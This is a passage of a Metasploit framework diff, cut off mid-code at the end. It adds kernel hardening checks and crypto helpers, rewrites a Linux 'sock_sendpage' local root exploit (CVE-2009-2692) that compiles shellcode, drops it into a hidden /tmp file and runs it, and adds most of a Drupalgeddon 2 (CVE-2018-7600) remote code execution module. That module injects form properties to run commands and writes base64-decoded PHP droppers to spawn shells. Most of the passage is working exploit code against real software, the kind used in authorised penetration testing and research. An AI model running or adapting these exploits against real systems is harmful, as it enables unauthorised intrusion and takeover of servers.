cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.eql? '1'
|
||||
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
|
||||
cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine userns status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if Address Space Layout Randomization (ASLR) is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def aslr_enabled?
|
||||
aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
|
||||
(aslr.eql?('1') || aslr.eql?('2'))
|
||||
rescue
|
||||
raise 'Could not determine ASLR status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if unprivileged bpf is disabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def unprivileged_bpf_disabled?
|
||||
cmd_exec('cat /proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine kernel.unprivileged_bpf_disabled status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if kernel pointer restriction is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def kptr_restrict?
|
||||
cmd_exec('cat /proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine kernel.kptr_restrict status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if dmesg restriction is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def dmesg_restrict?
|
||||
cmd_exec('cat /proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
|
||||
rescue
|
||||
raise 'Could not determine kernel.dmesg_restrict status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns mmap minimum address
|
||||
#
|
||||
# @return [Integer]
|
||||
#
|
||||
def mmap_min_addr
|
||||
mmap_min_addr = cmd_exec('cat /proc/sys/vm/mmap_min_addr').to_s.strip
|
||||
return 0 unless mmap_min_addr =~ /\A\d+\z/
|
||||
mmap_min_addr
|
||||
rescue
|
||||
raise 'Could not determine system mmap_min_addr'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if SELinux is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def selinux_installed?
|
||||
cmd_exec('id').to_s.include? 'context='
|
||||
rescue
|
||||
raise 'Could not determine SELinux status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if SELinux is in enforcing mode
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def selinux_enforcing?
|
||||
return false unless selinux_installed?
|
||||
|
||||
sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip
|
||||
raise unless sestatus.include?('SELinux')
|
||||
|
||||
return true if sestatus =~ /Current mode:\s*enforcing/
|
||||
false
|
||||
rescue
|
||||
raise 'Could not determine SELinux status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if Yama is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def yama_installed?
|
||||
ptrace_scope = cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip
|
||||
return true if ptrace_scope =~ /\A\d\z/
|
||||
false
|
||||
rescue
|
||||
raise 'Could not determine Yama status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if Yama is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def yama_enabled?
|
||||
return false unless yama_installed?
|
||||
!cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0'
|
||||
rescue
|
||||
raise 'Could not determine Yama status'
|
||||
end
|
||||
end # Kernel
|
||||
end # Linux
|
||||
end # Post
|
||||
|
|
|
@ -1994,7 +1994,7 @@ class Db
|
|||
framework.db.register_data_service(remote_data_service)
|
||||
print_line "Registered data service: #{remote_data_service.name}"
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "There was a problem registering the remote data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
@ -2004,7 +2004,7 @@ class Db
|
|||
data_service = framework.db.set_data_service(service_id)
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
data_service
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "Unable to set data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -114,6 +114,10 @@ require 'rex/compat'
|
|||
require 'rex/sslscan/scanner'
|
||||
require 'rex/sslscan/result'
|
||||
|
||||
# Cryptography
|
||||
require 'rex/crypto/aes256'
|
||||
require 'rex/crypto/rc4'
|
||||
|
||||
|
||||
# Overload the Kernel.sleep() function to be thread-safe
|
||||
Kernel.class_eval("
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Crypto
|
||||
|
||||
# Returns an encrypted string using AES256-CBC.
|
||||
#
|
||||
# @param iv [String] Initialization vector.
|
||||
# @param key [String] Secret key.
|
||||
# @return [String] The encrypted string.
|
||||
def self.encrypt_aes256(iv, key, value)
|
||||
aes = OpenSSL::Cipher::AES256.new(:CBC)
|
||||
aes.encrypt
|
||||
aes.iv = iv
|
||||
aes.key = key
|
||||
aes.update(value) + aes.final
|
||||
end
|
||||
|
||||
# Returns a decrypted string using AES256-CBC.
|
||||
#
|
||||
# @param iv [String] Initialization vector.
|
||||
# @param key [String] Secret key.
|
||||
# @return [String] The decrypted string.
|
||||
def self.decrypt_aes256(iv, key, value)
|
||||
aes = OpenSSL::Cipher::AES256.new(:CBC)
|
||||
aes.decrypt
|
||||
aes.iv = iv
|
||||
aes.key = key
|
||||
aes.update(value) + aes.final
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rc4'
|
||||
|
||||
module Rex
|
||||
module Crypto
|
||||
|
||||
# Returns a decrypted or encrypted RC4 string.
|
||||
#
|
||||
# @param key [String] Secret key.
|
||||
# @param [String]
|
||||
def self.rc4(key, value)
|
||||
rc4 = RC4.new(key)
|
||||
|
||||
# This can also be used to decrypt
|
||||
rc4.encrypt(value)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
|
|||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Local::LinuxKernel
|
||||
include Msf::Exploit::Local::Linux
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Linux kernel failed to properly initialize some entries the
|
||||
proto_ops struct for several protocols, leading to NULL being
|
||||
dereferenced and used as a function pointer. By using mmap(2) to map
|
||||
page 0, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Linux kernel failed to properly initialize some entries in the
|
||||
proto_ops struct for several protocols, leading to NULL being
|
||||
dereferenced and used as a function pointer. By using mmap(2) to map
|
||||
page 0, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
||||
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # discovery
|
||||
'Julien Tinnes <julien at cr0.org>', # discovery
|
||||
'spender', # wunderbar_emporium.tgz
|
||||
'rcvalle', # sock_sendpage.c
|
||||
'egypt' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2692' ],
|
||||
[ 'OSVDB', '56992' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Aug 13 2009",
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||
])
|
||||
register_options([
|
||||
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
||||
])
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
||||
|
||||
This module has been tested successfully on CentOS 5.0 (i386) with
|
||||
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
|
||||
kernel version 2.4.27-3-386.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # discovery
|
||||
'Julien Tinnes <julien at cr0.org>', # discovery
|
||||
'spender', # wunderbar_emporium.tgz
|
||||
'rcvalle', # sock_sendpage.c
|
||||
'egypt' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2692' ],
|
||||
[ 'EDB', '9545' ],
|
||||
[ 'EDB', '9641' ],
|
||||
[ 'BID', '36038' ],
|
||||
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 13 2009',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||
]
|
||||
end
|
||||
|
||||
def executable_path
|
||||
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
@executable_path
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def check
|
||||
version = Gem::Version.new kernel_release.split('-').first
|
||||
|
||||
if version.to_s.eql? ''
|
||||
vprint_error 'Could not determine the kernel version'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
|
||||
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
|
||||
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||
else
|
||||
vprint_error "Kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include?('x86') || arch =~ /i\d86/
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
if arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
|
||||
if file_exist? mmap_min_addr_path
|
||||
mmap_min_addr = read_file mmap_min_addr_path
|
||||
else
|
||||
mmap_min_addr = ''
|
||||
end
|
||||
|
||||
case mmap_min_addr
|
||||
when ''
|
||||
vprint_good 'vm.mmap_min_addr is not set'
|
||||
when '0'
|
||||
vprint_good 'vm.mmap_min_addr is zero'
|
||||
else
|
||||
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
sc = Metasm::ELF.new(@cpu)
|
||||
if check == CheckCode::Safe
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
sc = Metasm::ELF.new @cpu
|
||||
sc.parse %Q|
|
||||
#ifdef __ELF__
|
||||
.section ".bss" rwx
|
||||
.section ".text" rwx
|
||||
#endif
|
||||
|
|
||||
current_task_struct_h(sc)
|
||||
if datastore["DEBUG_EXPLOIT"]
|
||||
current_task_struct_h sc
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
cparser.parse "#define DEBUG\n"
|
||||
end
|
||||
|
||||
case target.arch.first
|
||||
when ARCH_X86
|
||||
main = %q^
|
||||
main = %q^
|
||||
|
||||
struct _IO_FILE;
|
||||
typedef void _IO_lock_t;
|
||||
|
@ -244,6 +312,7 @@ int *apparmor_enabled;
|
|||
int got_ring0 = 0;
|
||||
unsigned long uid, gid;
|
||||
|
||||
/*
|
||||
static unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
|
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
|
|||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
*/
|
||||
|
||||
static void
|
||||
change_cred(void)
|
||||
|
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
|
|||
|
||||
return got_ring0;
|
||||
}
|
||||
|
||||
^
|
||||
main.gsub!(/SHELLCODE/) do
|
||||
# Split the payload into chunks and dump it out as a hex-escaped
|
||||
# literal C string.
|
||||
Rex::Text.to_c(payload.encoded, 64, "shellcode")
|
||||
end
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
|
||||
cparser.parse(main, "main.c")
|
||||
#$stderr.puts cparser.factorize
|
||||
#return
|
||||
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
sc.parse asm
|
||||
main.gsub!(/SHELLCODE/) do
|
||||
# Split the payload into chunks and dump it out as a hex-escaped
|
||||
# literal C string.
|
||||
Rex::Text.to_c payload.encoded, 64, 'shellcode'
|
||||
end
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
|
||||
cparser.parse main, 'main.c'
|
||||
#$stderr.puts cparser.factorize
|
||||
#return
|
||||
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
sc.parse asm
|
||||
sc.assemble
|
||||
sc.c_set_default_entrypoint
|
||||
|
||||
|
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
|
|||
elf = sc.encode_string
|
||||
else
|
||||
foo = sc.encode_string
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
|
||||
end
|
||||
rescue
|
||||
print_error "Metasm Encoding failed: #{$!}"
|
||||
|
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
|
|||
return
|
||||
end
|
||||
|
||||
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
||||
rm_f executable_path
|
||||
write_file(executable_path, elf)
|
||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
|
||||
|
||||
upload payload_path, elf
|
||||
cmd_exec "chmod +x #{payload_path}"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
output = cmd_exec payload_path
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,443 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
# XXX: CmdStager can't handle badchars
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a Drupal property injection in the Forms API.
|
||||
|
||||
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||
},
|
||||
'Author' => [
|
||||
'Jasper Mattsson', # Vulnerability discovery
|
||||
'a2u', # Proof of concept (Drupal 8.x)
|
||||
'Nixawk', # Proof of concept (Drupal 8.x)
|
||||
'FireFart', # Proof of concept (Drupal 7.x)
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-7600'],
|
||||
['URL', 'https://www.drupal.org/sa-core-2018-002'],
|
||||
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
||||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
||||
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
||||
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
||||
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
|
||||
['AKA', 'SA-CORE-2018-002'],
|
||||
['AKA', 'Drupalgeddon 2']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 28 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['php', 'unix', 'linux'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Payload' => {'BadChars' => '&>\''},
|
||||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||
'Targets' => [
|
||||
#
|
||||
# Automatic targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Automatic (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Automatic (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Automatic (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Automatic (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 7.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 7.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 7.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 7.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 7.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 8.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 8.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 8.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 8.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 8.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
|
||||
'DefaultOptions' => {'WfsDelay' => 2}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
||||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
if drupal_version
|
||||
print_status("Drupal #{@version} targeted at #{full_uri}")
|
||||
checkcode = CheckCode::Detected
|
||||
else
|
||||
print_error('Could not determine Drupal version to target')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if drupal_unpatched?
|
||||
print_good('Drupal appears unpatched in CHANGELOG.txt')
|
||||
checkcode = CheckCode::Appears
|
||||
end
|
||||
|
||||
token = random_crap
|
||||
res = execute_command(token, func: 'printf')
|
||||
|
||||
if res && res.body.start_with?(token)
|
||||
checkcode = CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
datastore['DUMP_OUTPUT'] = true
|
||||
end
|
||||
|
||||
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
|
||||
case target['Type']
|
||||
when :php_memory
|
||||
execute_command(payload.encoded, func: 'assert')
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
# XXX: This will spawn a *very* obvious process
|
||||
execute_command("php -r '#{payload.encoded}'")
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :php_dropper, :linux_dropper
|
||||
dropper_assert
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
dropper_exec
|
||||
end
|
||||
end
|
||||
|
||||
def dropper_assert
|
||||
php_file = Pathname.new(
|
||||
"#{datastore['WritableDir']}/#{random_crap}.php"
|
||||
).cleanpath
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# Stage 1 decodes the PHP and writes it to disk
|
||||
stage1 = %Q{
|
||||
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
|
||||
}
|
||||
|
||||
# Stage 2 executes said PHP in-process
|
||||
stage2 = %Q{
|
||||
include_once("#{php_file}");
|
||||
}
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Hopefully pop our shell with assert()
|
||||
execute_command(stage1.strip, func: 'assert')
|
||||
execute_command(stage2.strip, func: 'assert')
|
||||
end
|
||||
|
||||
def dropper_exec
|
||||
php_file = "#{random_crap}.php"
|
||||
tmp_file = Pathname.new(
|
||||
"#{datastore['WritableDir']}/#{php_file}"
|
||||
).cleanpath
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Write the payload or dropper to disk (!)
|
||||
# NOTE: Analysis indicates > is a badchar for 8.x
|
||||
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
|
||||
|
||||
# Attempt in-process execution of our PHP script
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, php_file)
|
||||
)
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
# Try to get a shell with PHP CLI
|
||||
execute_command("php #{php_file}")
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
register_file_for_cleanup(tmp_file)
|
||||
|
||||
# Fall back on our temp file
|
||||
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
|
||||
execute_command("php #{tmp_file}")
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
||||
|
||||
vprint_status("Executing with #{func}(): #{cmd}")
|
||||
|
||||
res =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
exploit_drupal7(func, cmd)
|
||||
when '8.x'
|
||||
exploit_drupal8(func, cmd)
|
||||
end
|
||||
|
||||
if res && res.code != 200
|
||||
print_error("Unexpected reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
if res && datastore['DUMP_OUTPUT']
|
||||
print_line(res.body)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def drupal_version
|
||||
if target['Version']
|
||||
@version = target['Version']
|
||||
return @version
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
# Check for an X-Generator header
|
||||
@version =
|
||||
case res.headers['X-Generator']
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
|
||||
return @version if @version
|
||||
|
||||
# Check for a <meta> tag
|
||||
generator = res.get_html_document.at(
|
||||
'//meta[@name = "Generator"]/@content'
|
||||
)
|
||||
|
||||
return unless generator
|
||||
|
||||
@version =
|
||||
case generator.value
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
end
|
||||
|
||||
def drupal_unpatched?
|
||||
unpatched = true
|
||||
|
||||
# Check for patch level in CHANGELOG.txt
|
||||
uri =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
normalize_uri(target_uri.path, 'CHANGELOG.txt')
|
||||
when '8.x'
|
||||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
if res.body.include?('SA-CORE-2018-002')
|
||||
unpatched = false
|
||||
end
|
||||
|
||||
unpatched
|
||||
end
|
||||
|
||||
def exploit_drupal7(func, code)
|
||||
vars_get = {
|
||||
'q' => 'user/password',
|
||||
'name[#post_render][]' => func,
|
||||
'name[#markup]' => code,
|
||||
'name[#type]' => 'markup'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_pass',
|
||||
'_triggering_element_name' => 'name'
|
||||
}
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
|
||||
return res unless res && res.code == 200
|
||||
|
||||
form_build_id = res.get_html_document.at(
|
||||
'//input[@name = "form_build_id"]/@value'
|
||||
)
|
||||
|
||||
return res unless form_build_id
|
||||
|
||||
vars_get = {
|
||||
'q' => "file/ajax/name/#value/#{form_build_id.value}"
|
||||
}
|
||||
|
||||
vars_post = {
|
